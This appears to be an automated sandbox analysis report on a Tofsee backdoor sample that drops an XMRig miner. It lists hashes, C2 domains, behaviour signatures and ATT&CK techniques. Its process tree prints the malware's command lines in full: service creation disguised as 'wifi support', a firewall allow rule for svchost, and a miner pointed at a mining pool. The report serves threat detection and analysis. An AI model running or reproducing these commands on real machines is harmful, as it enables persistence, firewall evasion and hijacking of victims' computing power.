Analysis

  • max time kernel
    189s
  • max time network
    199s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 18:21

General

  • Target

    38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe

  • Size

    148KB

  • MD5

    53538af5c50d7630c126e6c2dff32c7b

  • SHA1

    19d9fc9ad096addf16608b6f13ea24bd042c6c51

  • SHA256

    38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62

  • SHA512

    4d234a9e726d6fb5822e5a31c00d63f0ac6aa0bad4c129c270d18fe7168a6760a030dc3c48305a88350756c4836b373a081070622cc32806af6b71c221c7db68

  • SSDEEP

    3072:i2cTyeE8AeWn5ku22jifgRimvWkdpvbY:CTyx8Aej2jdzek/Y

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe
    "C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gbxgnik\
      2⤵
        PID:1128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dxzhdxdw.exe" C:\Windows\SysWOW64\gbxgnik\
        2⤵
          PID:4196
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gbxgnik binPath= "C:\Windows\SysWOW64\gbxgnik\dxzhdxdw.exe /d\"C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gbxgnik "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gbxgnik
          2⤵
          • Launches sc.exe
          PID:3656
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:880
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 1028
          2⤵
          • Program crash
          PID:4168
      • C:\Windows\SysWOW64\gbxgnik\dxzhdxdw.exe
        C:\Windows\SysWOW64\gbxgnik\dxzhdxdw.exe /d"C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4636
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2932 -s 512
          2⤵
          • Program crash
          PID:1560
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3160 -ip 3160
        1⤵
          PID:2308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2932 -ip 2932
          1⤵
            PID:1436

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dxzhdxdw.exe
            Filesize

            12.6MB

            MD5

            411e8d5ad6804be400b967e25cfe4fbb

            SHA1

            c2daaf80b8150fbc3069dd9a84fe9198c356f1bd

            SHA256

            19d7a6ba8e37e6e48130bcb36bb2fe15f95753ecec5323b4d33452e2160038bc

            SHA512

            da9fc3abed4023f34f9685199315ffcd076189f142c59cce5a14a56b581cf28bb2c42908260dec350c512b4625bbc6602dc3f965c4fd50bb124f7df79d79c827

          • C:\Windows\SysWOW64\gbxgnik\dxzhdxdw.exe
            Filesize

            12.6MB

            MD5

            411e8d5ad6804be400b967e25cfe4fbb

            SHA1

            c2daaf80b8150fbc3069dd9a84fe9198c356f1bd

            SHA256

            19d7a6ba8e37e6e48130bcb36bb2fe15f95753ecec5323b4d33452e2160038bc

            SHA512

            da9fc3abed4023f34f9685199315ffcd076189f142c59cce5a14a56b581cf28bb2c42908260dec350c512b4625bbc6602dc3f965c4fd50bb124f7df79d79c827

          • memory/220-141-0x0000000000000000-mapping.dmp
          • memory/880-143-0x0000000000000000-mapping.dmp
          • memory/1088-155-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/1088-161-0x00000000019F0000-0x0000000001A00000-memory.dmp
            Filesize

            64KB

          • memory/1088-170-0x0000000007950000-0x0000000007957000-memory.dmp
            Filesize

            28KB

          • memory/1088-167-0x0000000007400000-0x000000000780B000-memory.dmp
            Filesize

            4.0MB

          • memory/1088-164-0x00000000029F0000-0x00000000029F5000-memory.dmp
            Filesize

            20KB

          • memory/1088-158-0x00000000019E0000-0x00000000019E6000-memory.dmp
            Filesize

            24KB

          • memory/1088-154-0x00000000003E0000-0x00000000003F5000-memory.dmp
            Filesize

            84KB

          • memory/1088-151-0x00000000003E0000-0x00000000003F5000-memory.dmp
            Filesize

            84KB

          • memory/1088-148-0x00000000003E0000-0x00000000003F5000-memory.dmp
            Filesize

            84KB

          • memory/1088-146-0x0000000000000000-mapping.dmp
          • memory/1128-135-0x0000000000000000-mapping.dmp
          • memory/2932-152-0x0000000000400000-0x0000000000AD7000-memory.dmp
            Filesize

            6.8MB

          • memory/2932-147-0x0000000000400000-0x0000000000AD7000-memory.dmp
            Filesize

            6.8MB

          • memory/2932-145-0x0000000000C89000-0x0000000000C99000-memory.dmp
            Filesize

            64KB

          • memory/3160-137-0x00000000026D0000-0x00000000026E3000-memory.dmp
            Filesize

            76KB

          • memory/3160-153-0x0000000000400000-0x0000000000AD7000-memory.dmp
            Filesize

            6.8MB

          • memory/3160-133-0x00000000026D0000-0x00000000026E3000-memory.dmp
            Filesize

            76KB

          • memory/3160-134-0x0000000000400000-0x0000000000AD7000-memory.dmp
            Filesize

            6.8MB

          • memory/3160-132-0x0000000000D2D000-0x0000000000D3D000-memory.dmp
            Filesize

            64KB

          • memory/3160-136-0x0000000000D2D000-0x0000000000D3D000-memory.dmp
            Filesize

            64KB

          • memory/3656-142-0x0000000000000000-mapping.dmp
          • memory/3684-140-0x0000000000000000-mapping.dmp
          • memory/4196-138-0x0000000000000000-mapping.dmp
          • memory/4636-173-0x0000000000000000-mapping.dmp
          • memory/4636-174-0x0000000001060000-0x0000000001151000-memory.dmp
            Filesize

            964KB

          • memory/4636-179-0x0000000001060000-0x0000000001151000-memory.dmp
            Filesize

            964KB